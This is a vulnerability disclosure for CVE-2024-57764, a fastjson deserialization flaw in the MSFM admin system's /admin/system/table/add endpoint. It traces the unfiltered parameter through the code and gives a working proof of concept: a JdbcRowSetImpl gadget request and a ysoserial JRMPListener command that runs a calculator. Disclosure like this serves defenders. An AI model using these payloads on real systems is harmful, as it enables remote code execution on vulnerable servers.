MSFM system/table/add has fastjson deserialization

CVE-2024-57764
find by Chaitin Security Research Lab

Vulnerability Product: wangl1989/MSFM
Vulnerability version: before 2025.01.01
Vulnerability type: fastjson deserialization
Vulnerability Details：
1. Global search for JSONObject. toJSONString reveals that the path at com/mysiteforme/admin/service/ipl/TableServiceImpl. java: 95 receives the parameter tableVO and converts it into a JSON format string. Further analysis reveals that this operation was performed in the creatTable() method. Continue tracking to see where this method was called.
![输入图片说明](https://foruda.gitee.com/images/1736133741106922511/ff17e4d9_13737655.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1736133752785634531/fc58f316_13737655.png "屏幕截图")
2. The com/mysiteform/admin/controller/system/TableController. java: 113 path at the controller layer called the creatTable() method and passed the tableVO parameter value. Continuing to analyze upwards, it was found that the parameter was passed in from the request path of/add in the com/mysiteform/admin/controller/system/TableController. java: 93 path, and the entire process did not filter or escape the tableVO parameter. Therefore, the tableVO parameter is controllable, and there is a fastjson deserialization vulnerability here.
![输入图片说明](https://foruda.gitee.com/images/1736133765140370794/95a11683_13737655.png "屏幕截图")
3. Construct POC, log in to the backend to capture packets, and replace cookies.

```
http://127.0.0.1:8083
账号: test/1
```

```
POST /admin/system/table/add HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Cookie: XXXXX

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/a","autoCommit":true}}
```

```
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "open -a /System/Applications/Calculator.app"
```
![输入图片说明](https://foruda.gitee.com/images/1736133838641821010/c03f507b_13737655.png "屏幕截图")

wangl1989/MSFM

内容风险标识

评论 (0)

wangl1989/MSFM .gitee-modal { width: 500px !important; }

内容风险标识